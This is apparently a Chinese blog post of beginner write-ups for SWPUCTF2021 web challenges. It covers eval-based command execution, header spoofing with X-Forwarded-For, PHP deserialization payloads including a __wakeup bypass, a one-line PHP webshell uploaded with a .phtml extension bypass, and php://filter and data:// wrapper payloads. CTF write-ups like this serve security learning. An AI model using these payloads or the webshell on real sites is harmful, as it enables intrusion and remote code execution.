SWPUCTF2021新生赛 部分web笔记

菜~就多练()

jicao

源码

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

分析源码,要上传一个POST和一个GET参数得到flag;id参数是POST方式,json参数是GET方式,那就用burpsuite抓包重发,把请求方式变更为POST(重发器右击),这样能同时有POST和GET请求;POST请求作为报文的一部分,GET请求在POST 和HTTP1.1标识中间,要注意的是两者的参数名以及内容是键值对的关系,内容不需要加引号,这样就得到了flag:

NSSCTF{58f20f2b-5f61-425a-8095-88ebb984d6be}

easyrce 

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>

源码显示,GET参数会直接当成PHP执行,所以直接构造payload执行系统命令:

?url=system("ls");

 一层一层的找,找到后cat出来

 NSSCTF{8bdf45c1-76cc-400c-bfe1-c8c41dd680dd}
Do_you_know_http

点进去显示:Please use 'WLLM' browser!

明显是瞎编的浏览器,不可能有这个,那就抓包,改User-Agent这个头可以说明发这个包的人用了什么操作系统,用了什么浏览器,但是可以修改,也不是完全可信,操作如下

显示访问成功,且我们现在位置在a.php,那就访问一下a.php 

只能本地访问,也就是说只能以127.0.0.1访问,图中的IP是我们自己的IP(非代理服务器)

做不到,但是可以伪造IP,在host后面加X-Forwarded-For标签,这个标签用来指示原始机器的地址

也就是X-Forwarded-For:127.0.0.1

这次被定向到secretttt.php,直接访问,得到flag

NSSCTF{e4054245-be82-4509-a5b5-eaa5e8f354bc}

 下面两个题目是反序列化漏洞

ez_unserialize

F12什么也没有,那就用dirsearch扫一下目录扫出来这个

flag.php是0B,空的不用管,看看robots.txt,这个规定了哪些可以被爬虫爬取,哪些不可以,访问一下发现cl45s.php

访问cl45s.php

发现源码

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

源码先定义了一个类wllm,有admin和passwd两个属性,在类被创建的时候admin属性为user,passwd属性为123456,当类被毁灭时(回车刷新的时候)如果满足条件使得admin属性为admin且passwd属性为ctf那就触发flag

 然后获取参数p,将其反序列化;

也就是说,我们直接写一个序列修改wllm的属性值,然后再刷新即可得到flag

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

 

再来细说一下序列化和反序列化

序列化是为了数据储存和传输的方便,比如我创建了一个类people,其中有一个对象user,有name属性和age属性,且name值为john,age为thirty,序列化以后就是

O:4:"user":2:{s:4:"name";s:4:"john";s:3:"age";s:6:"thirty";}

O指的是对象Object,对象名长度为4,名为user,有两个键值对,s表示string字符串,4是字符串,字符串之间用;隔开;

反序列化则是把以上序列变成数组;

反序列化的漏洞的核心原因就是没有队用户输入恰当的过滤。

no_wakeup

源码如下

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

这题也是在毁灭实例的时候满足条件就触发flag,不同的是其有一个_wakeup方法,这种方法就是只要一有反序列化的操作就会触发,这里是反序列化后密码会被sha1 ,也就是说,实例确认默认属性后,反序列化修改属性值,其中密码属性值一定会变成其sha1值,从而无法触发if条件。

这涉及到一个知识点。只要对象标称的键值对数量不等于实际值就会绕过_wakeup方法

以O:4:"user":2:{s:4:"name";s:4:"john";s:3:"age";s:6:"thirty";}为例,我直接把2改成3,就会绕过wakeup方法,,依靠这个原理构造payload,

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

得到flag

下面俩题目是文件上传漏洞

easyupload1.0

这题大抵是前端验证。

发现这个上传入口只能传图片,传php或者空都不行。所以可以半路抓包,先传jpg,再修改文件后缀为php。

而jpg内容当然是木马

<?php eval($_GET['CMD']);?>

显示传输成功后,脚本在哪?

可以dirsearch扫一下目录,发现upload文件夹

在这个目录下执行php,构造payload执行系统命令或者看phpinfo,在环境变量找到flag

easyupload2.0

这一题可以一样先传jpg抓包,但是改后缀成php再重发发现是不行的,说明加入了后端验证。

根据hint:php是不行滴和实践,后端过滤掉了含有php的后缀

注释:php1,php2,php3……和phtml都可以被php解释器执行;

因此,把后缀变成phtml就可以了,剩下操作同上;

当然,这里前端也有点问题,没有过滤phtml,直接不抓包串pthml也OK的;

PseudoProtocols

这题一次考察了两个php伪协议内容

PHP 伪协议是一种特殊的 URL 方案,用于在 PHP 中访问各种资源,如文件、网络资源、输入/输出流等。

php://filter主要是截取流,比如指定某源码输出流,对其编码并显示在屏幕上,因为不是所有输出流都回到屏幕上;

data://text/plain;base64,******则是用来传文件的,可以指定文件类型,解码方式;

看题首先我们知道需要寻找hint.php

把参数设置为hint.php,无回显;那就把回显找出来,用php://filter

构造payload 

?wllm=php://filter/read=convert.base64-encode/resource=hint.php

成功获得回显:

<?php
//go to /test2222222222222.php
?>

访问test2222222222222.php,发现源码

<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}
?>

发现只要传a参数,并且a作为文件的内容是I want flag就可以了触发条件拿到flag

那就用data://传输

?a=data://text/plain;base64,SSB3YW50IGZsYWc=

得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值